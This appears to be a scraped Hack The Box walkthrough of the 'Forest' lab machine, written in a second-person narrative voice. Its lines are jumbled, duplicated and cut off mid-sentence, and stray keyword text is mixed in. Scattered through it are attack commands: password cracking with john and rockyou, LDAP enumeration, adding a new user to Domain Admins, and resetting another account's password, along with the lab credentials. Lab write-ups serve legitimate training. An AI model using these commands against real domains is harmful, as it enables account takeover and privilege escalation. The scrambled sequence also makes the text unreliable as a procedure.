Hackthebox Walkthrough — Forest
Target IP: 10.10.10.161 Your Machine: 10.10.14.x Phase 1: The Lay of the Land You fire up nmap like a cartographer charting unknown territory. The scan breathes life into the silent IP.
You have valid credentials: svc-alfresco:s3rvice . Now you’re in the forest, but not yet to the throne. You try evil-winrm :
net user hacker Hacker123! /add /domain net group "Domain Admins" hacker /add /domain Then you use evil-winrm again with the new user: forest hackthebox walkthrough
The forest is dark, but the path is always there. You just have to know which trees to knock on.
john --wordlist=/usr/share/wordlists/rockyou.txt svc-alfresco.hash Seconds later—a crack. The password: s3rvice . Target IP: 10
net rpc password "sebastian" -U "htb.local"/"svc-alfresco"%"s3rvice" -S forest.htb.local It asks for the new password. You set it to P@ssw0rd123! .
Instead, you enumerate using BloodHound . You upload SharpHound via SMB (since you can write to a share) or run it remotely? No execution. You fall back to Python's bloodhound.py : Now you’re in the forest, but not yet to the throne
ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts It works. The server hands you the root DSE: DC=htb,DC=local . Now you dig.
